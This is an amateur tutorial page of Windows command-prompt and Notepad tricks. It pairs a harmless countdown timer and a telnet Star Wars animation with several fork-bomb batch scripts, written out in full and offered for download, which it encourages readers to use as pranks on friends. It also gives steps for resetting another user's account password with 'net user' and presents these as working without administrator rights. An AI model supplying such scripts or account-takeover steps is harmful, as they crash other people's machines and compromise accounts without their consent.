Cool Computer Stuff

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Downloads (if you are too lazy to make, You can open the .ZIP file just don't open the .BAT)

On the "Startbomb" you can open that .BAT because it only opens 4 cmd files so your computer wont lag. you can also right clikc on any of the .BAT files so you can edit them in notepade (they wont open if you click edit) I am not responsible for your actions so please use these with care and for harmless pranks. Make sure you tell your friend it was a joke

COUNTDOWN: http://www.megaupload.com/?d=MWYEEXWB - Openable + editable

STARTBOMB: http://www.megaupload.com/?d=7U7QHX0H - Openable + editable. remember to add more than 4 start words like I did to make this .BAT effective

FORKBOMB1: http://www.megaupload.com/?d=SPALDTMA - Openable (not suggested) + editable

FORKBOMB2: http://www.megaupload.com/?d=495OIYTF - Openable (not suggested) + editable

 

 

 

Hey I made a few tutorials on how to do different things on a computer mainly using notepad and the command prompt.

 

CHANGE THE PASSWORD OF A USER ACCOUNT ON WS XP or Vista (without being on the administrator)

 

1. Go to start>click on "run" and type in cmd

2. When the command prompt pops up type in "net user" with out the "'s

3. A list of the accounts on your computer will pop up find the user you want hit space bar and type in " net user (account name here)*" with out the "'s

make sure after the account name you put a * symbol

4. After that it will tell you to type in the password. Type in the password (the password wont show up while your typing but it is there). Once you type in the password confirm it and your DONE!

 

HIDDEN FULL LENGTH 1337 version of star wars on your computer.

 

1. Go to Start>run> and type in cmd

2. When command prompt pops up type in "telnet" without the "'s

3. Type in the letter "o" without the "'s

4. After that type in "towel.blinkenlights.nl" without the "'s

5. After that a screen with writing will come up sit back and enjoy the movie. I find this truly hilarious as it is a full star wars movie by animating characters with /,\,#,0,$,[,],{,},| and other key board characters.

 

TIP: For those of you who don't know what telnet is Telnet is a program that allows you to connect your computer to another computer/server to send and receive data. This server is safe though i can assure you that. But don't use telnet to connect to other computers as it might be a security risk.

 

MAKE A COUNTDOWN TIMER USING NOTE PAD

 

1.Open up notepad and type in this code

Countdown:
@echo off
title Timer
set time=31
:loop
set /a time=%time%-1
if %time%==0 goto timesup
echo %time%
ping localhost -n 2 > nul 
goto loop
:timesup
echo TIME IS UP FOO!
echo FOO PRESS ANY BUTTON TO LEAVE!
pause >nl
exit

 

2.Once you entered the code save the file to your desktop and name it timer.bat (you have to save it as .bat file so the code will open up in the command prompt)

3.Open up the timer.bat file and watch your timer work you can aslso change the time look for this code "set time=31" and replace the 31 with what ever number you want if you want a 60 second timer type in 61 the reason you have to add an extra number is that it takes one second to display it so add the other second to make it start at 60

 

EASY TO MAKE FORK BOMB

 

This is the easiest fork bomb to make.

 

1. open up note pad and type in

start
start
start
start

 

*you can repeat this as many times as you want*

 

2.Once you typed the code save it as start.bat once save it will appear on the desktop. And once opened it will start up the command prompt as 4 time because I typed in start 4 times. If you copy and past it till you get 100 then it opens it 100 times.

 

DIFFERENT FORK BOMB

 

1. Go to note pad and type in this code

@echo off
echo FOO YOU OPENED ME UP!
start "fork.bat"

2.Save your file to the desktop and name it fork.bat or what ever you want as long as its the same name as in the code ( "fork.bat"=save as fork.bat "funny.bat"= save as funny.bat ect...)

 

OPTION 2

 

1. Go to note pad and type in this code

::fork.bat
:s
start %0 "fork.bat"
goto s

2. Once you have typed the code save it to your desktop and save it as fork.bat or what ever you put in the code (same rule as previous fork bomb).

 

I might update more later.